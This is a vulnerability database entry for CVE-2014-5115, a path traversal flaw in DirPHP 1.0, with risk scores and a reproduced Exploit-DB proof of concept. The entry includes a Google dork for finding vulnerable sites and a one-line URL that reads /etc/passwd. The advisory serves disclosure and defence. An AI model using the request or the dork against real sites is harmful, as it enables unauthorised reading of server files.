CVE-2014-5115

medium

Published 2014-07-29 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

6.0

Description

Absolute path traversal vulnerability in DirPHP 1.0 allows remote attackers to read arbitrary files via a full pathname in the phpfile parameter to index.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-34173 webapps php verified text · 1 KB

black hat · 2014-07-27

DirPHP 1.0 - Local File Inclusion

text exploit Source: Exploit-DB

# Exploit Title: DirPHP - version 1.0 Local File Inclusion
# Google Dork: intext:DirPHP - version 1.0 - Created & Maintained by Stuart
Montgomery
# Date: 7/26/14
# Exploit Author: -Chosen-
# Contact: dark[dot]binary[dot]code@gmail.com
# Version: DirPHP - Version 1.0
# Tested on: *nix

PoC:

http://site.com/path/index.php?phpfile=/etc/passwd

Application impact

Vendor	Product	Versions	Fixed
dirphp_project	dirphp	`1.0`

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.